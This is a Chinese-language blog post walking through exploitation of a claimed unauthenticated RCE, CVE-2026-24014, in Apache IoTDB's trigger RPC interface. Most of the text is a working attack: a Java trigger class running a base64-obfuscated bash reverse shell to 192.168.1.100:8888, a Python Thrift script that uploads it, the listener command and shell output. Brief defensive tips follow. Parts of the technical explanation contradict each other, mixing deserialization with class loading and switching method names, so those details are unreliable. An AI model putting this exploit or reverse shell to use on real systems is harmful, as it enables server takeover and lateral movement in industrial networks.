CVE-2026-24014,Apache IoTDB DataNode内部RPC接口未对Trigger实例的class文件做任何校验,直接反序列化执行,CVSS 9.8,能直接getshell,这种漏洞不写就亏了。

漏洞背景
Apache IoTDB是一个时序数据库,广泛应用于工业物联网场景。CVE-2026-24014出现在DataNode组件的Thrift RPC接口中,当用户上传一个恶意的Trigger实例(本质是一个Java类)时,服务端会直接通过ObjectInputStream反序列化并加载这个类,导致任意代码执行。
- 受影响版本:Apache IoTDB 1.x系列(具体版本待官方确认,PoC公开前建议自查)
- CVSS评分:9.8(Critical)
- 危害描述:攻击者无需认证即可通过RPC接口上传恶意Trigger,触发反序列化,在IoTDB DataNode上执行任意命令,拿下服务器权限。工业场景下,这等于直接控制了整个时序数据采集链路。
环境搭建
用Docker拉一个IoTDB服务,简单粗暴。
docker pull apache/iotdb:1.3.0
docker run -d --name iotdb -p 6667:6667 apache/iotdb:1.3.0
等几十秒,服务启动后,用nc或者iotdb-cli连一下确认端口通着。
nc -zv 127.0.0.1 6667
返回Connection succeeded就行。
复现步骤
1. 构造恶意Trigger类
我们需要写一个实现了org.apache.iotdb.db.trigger.api.Trigger接口的Java类,在它的create或restore方法里塞入恶意代码。比如弹个计算器,或者反弹shell。
先写一个Exploit.java:
import org.apache.iotdb.db.trigger.api.Trigger;
import org.apache.iotdb.db.trigger.api.TriggerAttributes;
import java.io.*;
public class Exploit implements Trigger {
@Override
public void onCreate(TriggerAttributes attributes) throws Exception {
// 这里执行命令,比如反弹shell
String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}";
Runtime.getRuntime().exec(cmd);
}
@Override
public void onRestore(TriggerAttributes attributes) throws Exception {
// 同样可以触发
}
}
编译它:
javac Exploit.java
得到一个Exploit.class文件。
2. 构造RPC请求
IoTDB的DataNode Thrift接口默认监听在6667端口,我们需要用Thrift客户端发送一个createTrigger请求,把Exploit.class作为参数传进去。
这里用Python写个脚本,依赖thrift库:
pip install thrift
脚本exploit.py:
from thrift.transport import TSocket
from thrift.protocol import TBinaryProtocol
from iotdb.thrift import IoTDBRPCService
from iotdb.thrift.ttypes import *
transport = TSocket.TSocket('127.0.0.1', 6667)
transport.open()
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = IoTDBRPCService.Client(protocol)
# 读取恶意class文件
with open('Exploit.class', 'rb') as f:
class_bytes = f.read()
# 构造Trigger信息
trigger_meta = TriggerMeta(
triggerName='exploit_trigger',
className='Exploit',
jarFile=class_bytes,
attributes={}
)
# 发送createTrigger请求
try:
client.createTrigger(trigger_meta)
print("Trigger created, check your listener!")
except Exception as e:
print(f"Error: {e}")
finally:
transport.close()
注意:这里的iotdb.thrift模块需要从IoTDB源码里生成,或者直接复制官方客户端代码。简单起见,你也可以用Burp Suite直接发送原始Thrift数据包(需要抓包分析协议结构),但用脚本更省事。
3. 触发反序列化
运行脚本:
python exploit.py
如果一切顺利,IoTDB服务端会反序列化Exploit.class,调用onCreate方法,执行我们塞进去的命令。你在192.168.1.100:8888上开个监听:
nc -lvnp 8888
就能收到反弹的shell。
4. 验证结果
拿个whoami试试:
whoami
iotdb
权限是IoTDB的运行用户,一般是非root,但足够在内网横向了。
防御措施
- 升级IoTDB版本:官方已经修复,去GitHub拉最新的release,或者等补丁出来直接打。
- 限制RPC接口访问:用iptables或防火墙,只允许信任IP访问6667端口。
- 反序列化白名单:在IoTDB配置里加上
-Djdk.serialFilter,只允许特定类被反序列化。 - 最小权限运行:IoTDB服务不要用root跑,用专用低权限用户。
总结
CVE-2026-24014又是一个经典的反序列化RCE,Apache IoTDB的Trigger机制设计时没考虑安全,直接信任了用户上传的class。工业软件的安全任重道远啊,兄弟们测到这类漏洞赶紧报,别留着过年。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
